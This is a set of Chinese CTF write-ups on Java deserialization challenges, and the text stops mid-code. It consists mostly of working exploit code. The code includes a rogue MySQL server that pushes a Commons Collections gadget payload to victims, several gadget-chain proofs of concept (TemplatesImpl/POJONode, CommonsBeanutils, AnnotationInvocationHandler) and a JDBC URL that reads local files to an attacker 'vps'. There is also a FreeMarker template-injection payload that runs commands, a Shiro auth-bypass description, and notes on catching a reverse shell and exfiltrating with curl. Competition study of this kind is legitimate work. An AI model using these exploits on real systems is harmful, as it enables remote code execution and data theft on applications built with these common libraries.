1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 import socketimport binasciiimport osgreeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data (conn ): data = conn.recv(1024 ) print ("[*] Receiveing the package : {}" .format (data)) return str (data).lower() def send_data (conn,data ): print ("[*] Sending the package : {}" .format (data)) conn.send(binascii.a2b_hex(data)) def get_payload_content (): file= r'payload' if os.path.isfile(file): with open (file, 'rb' ) as f: payload_content = str (binascii.b2a_hex(f.read()),encoding='utf-8' ) print ("open successs" ) else : print ("open false" ) payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content def run (): while 1 : conn, addr = sk.accept() print ("Connection come from {}:{}" .format (addr[0 ],addr[1 ])) send_data(conn,greeting_data) while True : receive_data(conn) send_data(conn,response_ok_data) data=receive_data(conn) if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' payload_content=get_payload_content() payload_length = str (hex (len (payload_content)//2 )).replace('0x' , '' ).zfill(4 ) payload_length_hex = payload_length[2 :4 ] + payload_length[0 :2 ] data_len = str (hex (len (payload_content)//2 + 4 )).replace('0x' , '' ).zfill(6 ) data_len_hex = data_len[4 :6 ] + data_len[2 :4 ] + data_len[0 :2 ] mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex mysql_data += str (payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break if __name__ == '__main__' : HOST ='0.0.0.0' PORT = 3307 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) sk.bind((HOST, PORT)) sk.listen(1 ) print ("start fake mysql server listening on {}:{}" .format (HOST,PORT)) run()
这里话最后使用别的端口号,因为3306是默认被使用的mysql端口
这就是等会得在自己的服务器上开启的fake mysql server
注意把生成的payload和mysql.py放在同一个文件下面 这样vps上的”mysql服务”就会把payload发回被攻击服务器。
另一个终端监听刚刚反弹shell时设置的端口
然后bp发包
用这个cookie进行反序列化
然后bp传参
然后就可以弹到shell了,不过这里的话很快就没了
可以用curl外带也行 (这里我就不尝试了)
bypassit1(阿里云ctf2023) 从bypassit1了解POJONode#toString调用getter方法原理
aliyunctf2023-bypassit1
bypassit
上面是参考文章
前言 前面说到了在fastjson中的原生的一个反序列化调用任意类的getter方法的原理与细节
从最开始的fastjson < 1.2.48下的在JSONObject / JSONArray
类反序列化过程没有安全检查的情况下通过BadAttributeValueExpException#readObject
调用JSONObject#toString / JSONArray#toString
方法也即是JSON#toString
方法触发getter
再到fastjson >= 1.2.48下的存在有SecureObjectInputStream
的安全检查的情况下,通过使用HashMap
等等类创建一个reference
的方式绕过resolveClass的检查触发getter
既然在fastjson中存在有这样的原生反序列化,在另一个和他功能类似的开源库jackson也有着类似的原生反序列化触发getter方法
(这里的考点就是jackson
触发getter方法和fastjson
一样)
jackson 这里直接写个demo进行分析
直接就是使用writeValueAsString
这个方法来调用这个getter方法
这里就不跟进去分析了
然后知道了这里是和fastjson
一样的利用方法,就是触发getter,那么我们就刚好可以想到一个类可以通过触发getter来执行恶意代码 TemplatesImpl
就是会经过一系列的getter调用,最后就是会到这里进行初始化 (这里的话cc4这条链子有分析这个类的使用)
这里话就是找谁的toString 方法能触发这个类 因为fastjson
就是靠这个来进行触发的
然后我们就找哪个类能调用到这个tostring
方法 这里的话如果对cc链熟悉的话,就马上可以猜到是BadAttributeValueExpException
这个类
那么利用链就构造完成了
1 2 3 ③TemplatesImpl#getOutputProperties ②jacksonType#toString ①BadAttributeValueExpException触发val的toString方法
这个触发tostring的方法必须是jacksontype
的,而且还必须的得能触发到这个writeValueAsString
方法,并且还能给这个方法赋值为TemplatesImpl
的对象
(这里的不知道大佬是怎么发现的,这里就知道咋利用就行了)
刚好能发现POJONode
这个类可以
1 2 3 ③TemplatesImpl#getOutputProperties ②POJONode#toString ①BadAttributeValueExpException触发val的toString方法
POC
App.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 package com.ctf.bypassit;import com.fasterxml.jackson.databind.node.ArrayNode;import com.fasterxml.jackson.databind.node.BaseJsonNode;import com.fasterxml.jackson.databind.node.POJONode;import com.fasterxml.jackson.databind.node.ValueNode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.*;import org.springframework.http.HttpEntity;import org.springframework.http.HttpHeaders;import org.springframework.http.ResponseEntity;import org.springframework.web.client.RestTemplate;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URI;import java.util.Base64;public class App { public static void main ( String[] args ) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); ctClass.addConstructor(constructor); byte [] bytes = ctClass.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); setFieldValue(templatesImpl, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templatesImpl, "_name" , "boogipop" ); setFieldValue(templatesImpl, "_tfactory" , null ); POJONode jsonNodes = new POJONode (templatesImpl); BadAttributeValueExpException exp = new BadAttributeValueExpException (null ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(exp,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(exp); FileOutputStream fout=new FileOutputStream ("1.ser" ); fout.write(barr.toByteArray()); fout.close(); FileInputStream fileInputStream = new FileInputStream ("1.ser" ); System.out.println(serial(exp)); deserial(serial(exp)); } public static void doPOST (byte [] obj) throws Exception{ HttpHeaders requestHeaders = new HttpHeaders (); requestHeaders.set("Content-Type" , "text/plain" ); URI url = new URI ("http://192.168.142.129:8080/bypassit" ); HttpEntity<byte []> requestEntity = new HttpEntity <> (obj,requestHeaders); RestTemplate restTemplate = new RestTemplate (); ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class); System.out.println(res.getBody()); } public static String serial (Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void deserial (String data) throws Exception { byte [] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream (base64decodedBytes); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } }
POJONode#toString 这里话讲讲为什么这个类能触发tostring
方法
这个类是没有tostring
方法的,但是他继承了ValueNode
这个类 然后ValueNode
这个类继承了BaseJsonNode
这里的不直接使用BaseJsonNode
或者ValueNode
这两个类的原因是因为这两个类是抽象类,不能进行实例化 所以就只能选他们的子类POJONode
(虽然子类没有这个方法,但是执行代码的时候会向上查找,然后就会在他的父类这里找到这个tostring 方法)
但是这BaseJsonNode
这个类是有问题的,得进行重写
原因
根据报错定位到ObjectOuptputStream#writeObject0
中
如果序列化的类实现了writeReplace
方法,将会在序列化过程中调用它进行检查,好巧不巧,在POJONode
的父类BaseJsonNode
中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断
babyja(2023黑盾杯) 还是先对jar包进行分析
先看下pom.xml
得到这4个东西,可以猜测是用fastjson
去打jdbc
反序列化了
然后看了下入口点,发现猜想并没有错,就是使用fastjson来打
在结合这里的jdbc,发现我们的刚开始的猜想是正确的
但是这里有个问题就是JSON.parse()
是只会触发setter方法,但不会触发道 getter
方法,所以前面的依赖就用到了
这个依赖可以任意触发getter
方法 —> vaadin
但是看到过滤函数的时候,把触发fastjson的函数全给ban了
这里的话又得用到另一个依赖了
我们可以使用 c3p0 的二次反序列化方法来进行绕过(hex base
)
那么基本的构造链就完成了
用c3p0
的二次反序列化来绕过过滤,然后fastsjon
来执行setter
进行赋值,然后com.vaadin
来触发getter来触发jdbc
的反序列化链子
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package com.example;import com.ctf.bean.MyBean;import com.vaadin.data.util.NestedMethodProperty;import com.vaadin.data.util.PropertysetItem;import org.apache.commons.codec.binary.Hex;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;public class Exp { public static void main (String[] args) throws Exception { MyBean myBean = new MyBean (); myBean.setDatabase("mysql://vps:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#" ); PropertysetItem p = new PropertysetItem (); NestedMethodProperty<Object> n = new NestedMethodProperty <Object>(myBean, "Connection" ); p.addItemProperty("Connection" , n); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException ("v" ); Field field = BadAttributeValueExpException.class.getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException, p); ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bos); out.writeObject(badAttributeValueExpException); out.flush(); byte [] bytes = bos.toByteArray(); char [] hexChars = Hex.encodeHex(bytes); String hexString = new String (hexChars); System.out.println(hexString.toUpperCase()); } }
然后把生成的hex字符串填在下面HexAsciiSerializedMap后面
payload
1 {"1" :{"@type" :"java.lang.Class" ,"val" :"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" },"2" :{"@type" :"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" ,"userOverridesAsString" :"HexAsciiSerializedMap:替换这里;" ,}}
这个payload在c3p0二次反序列化链子里给了
MTCTF2022-easyjava 考点: shiro鉴权绕过、Java CB链
题目就给了一个jar包
还是先看一下这个依赖
使用了shiro
和这个hibernate
这个shiro版本和550和721没啥大的关系
接下来看整体的结构部分
HelloController.java
中
这里是得想要先输入正确的账号密码获取token,才能进行反序列化利用
ShiroConfig.java 中
shiro鉴权
但是我们并不知道账号密码
然后就去查一下shiro依赖是否存在漏洞 Apache Shiro 漏洞汇总
成功进行绕过shiro鉴权
这里的为什么用的是web呢?
那么绕过鉴权之后 就可以进行反序列化漏洞利用了
MyObjectInputStream.java中
过滤了这几个类,但是在过滤第一个类的时候发生了错误少了一个.
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这样才对
然后我们就可以利用这个类来进行反序列化漏洞的利用
这里的反序列化链子刚好可以用这个cb
链来打 就是shiro自带的cb链子直接来打
这个cc不行的原因是它是3.2.2
版本 修复了3.2.1
版本的漏洞
不允许使用InvokerTransformer
这个类了
所以说cc链就用不了
所以说就直接用cb链来打就行了
evil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
App.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.PriorityQueue;public class App { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main ( String[] args ) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(evil.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("2" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); Base64Encode(barr); } private static String Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); return s; } }
其实就是简单的shiro无依赖打cb链 (这里是因为出题人粗心了)
预期解 加个新的知识点
基于 getter 方法触发 RCE,目前 Java 标准库里已经公开过的利用链有 TemplatesImpl
和 JdbcRowSetImpl
: 下面就是新增加的一个
假如ban了Tempatesimpl
我们可以使用别的类去触发JNDI注入
也就是com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
新的getter利用链 写的超级详细 java1.4和java8都可以用
YCB2023 ez_java 题目源码地址
1 2 3 链接:https://pan.baidu.com/s/1n7t8FY_GyzYarj1Q0lFPKw?pwd=1bv5 提取码:1bv5 --来自百度网盘超级会员V5的分享
这道题还是挺简单的我觉得
有两个东西 一个是jar包 一个是模板
开始对jar包进行分析
查看依赖的话是啥也没发现 就只有一个spring
在这个getflag
路由存在反序列化入口 templating
这个路由的话感觉是存在一个模板注入(感觉的 )
这个jar包一共就这几个类
经过分析 在这个HtmlUploadUtil
这个类里面发现了这个uploadfile
方法
就是必须得上传这个ftl
后缀的代码 然后就去查找了一下发现是这个
然后在结合上面的代码 感觉就是存在模板注入 (应该是将index.ftl
进行覆盖)
有了这个思路以后就去找谁调用这个HtmlUploadUtil#uploadfile
然后就发现了这个HtmlMap#get()
方法可以调用HtmlUploadUtil#uploadfile
于是就接着去寻找谁能调用这个HtmlMap#get()
很明显的发现了这个HtmlInvocationHandler#invoke()
方法能调用
仔细一看就会发现这是个动态代理 并且重写了invoke()
方法
就差个寻找个反序列化类的readobject()
作为入口点了
刚好就能发现这个cc链存在这个东西
那么链子就连起来了
1 2 3 4 AnnotationInvocationHandler#readobject() HtmlInvocationHandler#invoke() HtmlMap#get() HtmlUploadUtil#uploadfile()
以上就是完整的调用链了
那么我们就得回到文件上传处来寻找我们应该上传什么内容来覆盖index.ftl
并且能够执行命令
经过搜索 最终发现了这篇文章 存在poc
1 2 3 4 5 <#assign ac=springMacroRequestContext.webApplicationContext> <#assign fc=ac.getBean('freeMarkerConfiguration' )> <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()> <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute" ?new ()("id" )}
最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import com.ycbjava.Utils.HtmlInvocationHandler;import com.ycbjava.Utils.HtmlMap;import java.io.ByteArrayOutputStream;import java.io.*;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.*;import java.util.Base64;import java.util.Map;public class test { public static void main (String[] args) throws Exception { HtmlMap htmlMap = new HtmlMap (); htmlMap.filename="index.ftl" ; htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" + " <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" + " <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" + " <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}\n" ; HtmlInvocationHandler html = new HtmlInvocationHandler (htmlMap); Map proxy = (Map) Proxy.newProxyInstance(test.class.getClassLoader(), new Class [] {Map.class}, html); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor a = c.getDeclaredConstructor(Class.class, Map.class); a.setAccessible(true ); Object exp = a.newInstance(Target.class, proxy); System.out.println(serial(exp)); deserial(serial(exp)); } public static String serial (Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream stream = new ByteArrayOutputStream (); ObjectOutputStream stream1 = new ObjectOutputStream (stream); stream1.writeObject(o); stream1.close(); String base64String = Base64.getEncoder().encodeToString(stream.toByteArray()); return base64String; } public static void deserial (String data) throws Exception { byte [] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream b = new ByteArrayInputStream (base64decodedBytes); ObjectInputStream o = new ObjectInputStream (b); o.readObject(); o.close(); } }
就是先分/getflag
路由传参进行反序列化将index.ftl
的内容进行覆盖
然后访问/templating
路由渲染模板执行命令
NEEPU-Sec-2023-No_Map 题目地址
https://github.com/R1ckyZ/My-CTF-Challenges/tree/main/NEEPUCTF%202023/No%20Map/solve
参考文章 http://www.bmth666.cn/2023/05/25/NEEPU-Sec-2023-%E5%85%AC%E5%BC%80%E8%B5%9Bweb%E9%A2%98%E5%A4%8D%E7%8E%B0/
写这里的目的是为了记录一下这个在没有hashmap
和BadAttributeValueExpException
的情况下是怎么能调用到pojonode的tostring方法的
这里的话我看别人是用tabby来找出这条链子的 但是我不会 直接说除了谁还可以触发pojonode的tostring方法
就是AbstractAction
这个抽象类
跟进这个方法
然后再跟进这个方法
发现有个equals函数 并且oldValue和newValue可控 我们就可以想到了Xstring的equals方法能够触发pojonode的tostring方法 那么我们的链子就找完了
然后我们来总结一下这个东西
1 2 3 4 5 6 AbstractAction#readobject-> AbstractAction#putValue-> AbstractAction#firePropertyChange-> Xstring#equals-> pojonode#toString-> TemplatesImpl#getOutputProperties()->
链子就是上面的全部了
这里有一个问题就是 oldValue 为 arrayTable.get(key)
,但是我们序列化的时候会执行 writeObject 方法,他会执行ArrayTable.writeArrayTable(s, arrayTable);
导致我们写不进两个key相同value不同的ArrayTable
因为就是得需要有两个key相同 value不同的值才行 因为old和new就是根据key相同 value不同来进行选择的
假如先写入 aaa
后写入 bbb
那么对于bbb
来说 aaa
就是old
那么我们在这里的应对方法就是使用agent 再main函数运行之前就把上面的这个writeArrayTable
的内容给修改掉
agent一部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;public class DefineTransformer implements ClassFileTransformer { public static final String ClassName = "javax.swing.AbstractAction" ; public DefineTransformer () { } public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { className = className.replace("/" , "." ); if (className.equals("javax.swing.AbstractAction" )) { System.out.println("Find the Inject Class: javax.swing.AbstractAction" ); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className); CtMethod ctMethod = c.getDeclaredMethod("writeObject" ); ctMethod.setBody("{$1.defaultWriteObject();java.lang.Object keys[] = arrayTable.getKeys(null);int validCount = keys.length;$1.writeInt(validCount); for (int i=0; i<validCount; i++) {\n if (keys != null) {\n $1.writeObject(\"ricky\");\n $1.writeObject(arrayTable.get(keys[i]));\n }\n }\n}" ); byte [] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception var10) { var10.printStackTrace(); } } return new byte [0 ]; } }
这里的agent的jar包在上面题目的代码中 自己去下载下来就行了
记得在
这个里面加上-javaagent:"该jar包的位置"
最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 package org.example;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.*;import sun.reflect.ReflectionFactory;import javax.swing.event.SwingPropertyChangeSupport;import javax.swing.text.DefaultEditorKit;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;public class poc { static { try { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); writeReplace.setBody("return $0;" ); ctClass.writeFile(); ctClass.toClass(); } catch (Exception e){ e.printStackTrace(); } } public static void main ( String[] args ) throws Exception { byte [] bytes = ClassPool.getDefault().get(evil.class.getName()).toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); setFieldValue(templatesImpl, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templatesImpl, "_name" , "a" ); setFieldValue(templatesImpl, "_tfactory" , null ); POJONode jsonNodes = new POJONode (templatesImpl); XString xString = new XString ("a" ); DefaultEditorKit.BeepAction action = new DefaultEditorKit .BeepAction(); SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport ("" ); Object arraytable = createWithoutConstructor("javax.swing.ArrayTable" ); setFieldValue(arraytable,"table" ,new Object []{"1" ,xString,"2" ,jsonNodes}); setFieldValue(action,"arrayTable" ,arraytable); setFieldValue(action,"changeSupport" ,swingPropertyChangeSupport); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(action); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = 